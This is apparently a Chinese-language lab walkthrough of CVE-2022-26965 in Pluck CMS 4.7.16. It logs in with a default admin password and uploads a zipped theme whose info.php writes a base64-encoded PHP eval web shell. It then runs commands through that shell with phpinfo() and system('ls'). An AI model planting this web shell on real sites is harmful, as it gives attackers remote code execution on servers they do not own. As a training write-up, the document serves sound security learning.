攻略
在Pluck 4.7.16中,管理员用户可以在/admin.php使用主题上传功能。action=themeinstall来执行远程代码执行。
https://nvd.nist.gov/vuln/detail/CVE-2022-26965
https://packetstormsecurity.com/files/166336/Pluck-CMS-4.7.16-Shell-Upload.html
关键字:
Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated
进入靶场点击下方admin登录
尝试admin发现登陆成功
拼接/admin.php?action=themeinstall
发现上传点,
上传发现提示上传不是合适的文件
再搜一搜,发现GitHub上解释说需要一个zip主题。
https://blog.csdn.net/weixin_47598409/article/details/114788419
需要将主题中的info.php文件修改,再打包成zip再上传,内容如下,然后进行压缩,因为这个主题上传只允许压缩包
<?php file_put_contents('pass.php',base64_decode('PD9waHAgQGV2YWwoJF9HRVRbJ3Bhc3MnXSk7Pz4='));?>
解释一下file_put_contents
file_put_contents ——— 将一个字符串写入文件的函数
与依次调用 fopen(),fwrite()以及 fclose() 功能一样。使用方法如下:
file_put_contents(file,data,mode,context)
所以info.php文件里面写的就是当读取了info.php就会自动执行file_put_contents 的内容
解析:
<?php @eval($_GET['pass']);?> base64编码为PD9waHAgQGV2YWwoJF9HRVRbJ3Bhc3MnXSk7Pz4=
file_put_contents函数把一个字符串写入文件中。与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
使用GET的原因:
_GET是一个数组
_GET的作用域是超全局,不需在脚本内部定义或初始化,即可使用
接收从浏览器客户端GET方式(URL中)传递到服务器的参数
GET传参的参数名做_GET数组的key,参数值做为数组的value
GET传参时,直接将参数拼接到URL中即可
注意:压缩包里的文件名必须是info.php
在根目录输入pass.php,一直跳转。输入如下则发现可以命令执行
/pass.php?pass=phpinfo();
PHP里面执行命令是system()函数
/pass.php?pass=system('ls');